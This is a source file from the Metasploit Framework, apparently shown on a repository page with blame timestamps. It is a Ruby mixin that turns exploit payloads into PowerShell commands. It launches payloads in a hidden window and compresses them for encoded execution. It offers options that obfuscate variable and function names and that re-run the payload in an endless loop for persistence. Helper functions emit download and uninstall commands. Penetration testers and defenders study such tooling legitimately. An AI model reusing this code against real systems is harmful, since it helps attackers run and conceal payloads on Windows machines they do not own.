metasploit-framework/lib/msf/core/exploit/powershell.rb

194 lines
5.5 KiB
Ruby
Raw Normal View History

# -*- coding: binary -*-
require 'rex/exploitation/powershell'
module Msf
module Exploit::Powershell
class PshScript < Rex::Exploitation::Powershell::Script
end
def initialize(info = {})
super
register_advanced_options(
[
2013-09-13 18:06:37 +00:00
OptBool.new('PSH::persist', [true, 'Run the payload in a loop', false]),
OptBool.new('PSH::old_technique', [true, 'Use powershell 1.0', false]),
OptBool.new('PSH::run_wow64', [
false,
2013-09-13 18:06:37 +00:00
'Execute powershell in 32bit compatibility mode, payloads need x86 arch',
false
]),
OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
], self.class)
end
#
# Reads script into a PshScript
#
2013-09-13 18:06:37 +00:00
def read_script(script_path)
return PshScript.new(script_path)
end
#
# Insert substitutions into the powershell script
2013-09-13 18:06:37 +00:00
# If script is a path to a file then read the file
# otherwise treat it as the contents of a file
#
def make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
end
subs.each do |set|
script.gsub!(set[0],set[1])
end
# if datastore['VERBOSE']
# print_good("Final Script: ")
# script.each_line {|l| print_status("\t#{l}")}
# end
return script
end
#
# Return an array of substitutions for use in make_subs
#
def process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
return new_subs
end
#
# Return a gzip compressed powershell script
# Will invoke PSH modifiers as enabled
#
def compress_script(script_in, eof = nil)
# Build script object
psh = PshScript.new(script_in)
# Invoke enabled modifiers
datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
end
return psh.compress_code(eof)
end
#
# Runs powershell in hidden window raising interactive proc msg
#
def run_hidden_psh(ps_code,ps_bin='powershell.exe')
2013-09-13 18:06:37 +00:00
ps_args = " -e #{ compress_script(ps_code) } "
ps_wrapper = <<EOS
$si = New-Object System.Diagnostics.ProcessStartInfo
$si.FileName = "#{ps_bin}"
$si.Arguments = '#{ps_args}'
$si.UseShellExecute = $false
$si.RedirectStandardOutput = $true
$si.WindowStyle = 'Hidden'
$si.CreateNoWindow = $True
$p = [System.Diagnostics.Process]::Start($si)
EOS
return ps_wrapper.gsub("\n",';')
end
#
# Creates cmd script to execute psh payload
#
2013-09-13 18:06:37 +00:00
def cmd_psh_payload(pay, old_psh=datastore['PSH::old_method'], wow64=datastore['PSH::run_wow64'])
# Allow powershell 1.0 format
if old_psh
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
else
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
end
# Run our payload in a while loop
2013-09-13 18:06:37 +00:00
if datastore['PSH::persist']
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
sleep_time = rand(5)+5
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
# Determine appropriate architecture, manual method reduces script size
2013-07-29 14:24:29 +00:00
ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
# Wrap in hidden runtime
psh_payload = run_hidden_psh(psh_payload,ps_bin)
# Convert to base64 for -encodedcommand execution
2013-09-13 18:06:37 +00:00
command = "%COMSPEC% /B /C start /min powershell.exe -c #{psh_payload}\r\n"
end
#
# Useful method cache
#
module PshMethods
#
# Convert binary to byte array, read from file if able
#
def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
return psh << lines.join("") + "\r\n"
end
#
# Download file to host via PSH
#
def self.download(src,target=nil)
target ||= '$pwd\\' << src.split('/').last
return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^
end
#
# Uninstall app
#
def self.uninstall(app,fuzzy=true)
match = fuzzy ? '-like' : '-eq'
return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
end
#
# Create secure string from plaintext
#
def self.secure_string(str)
return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
end
#
# MISC
#
#
# Find PID of file locker
#
def self.who_locked_file?(filename)
return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
end
def self.get_last_login(user)
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
end
end
end
end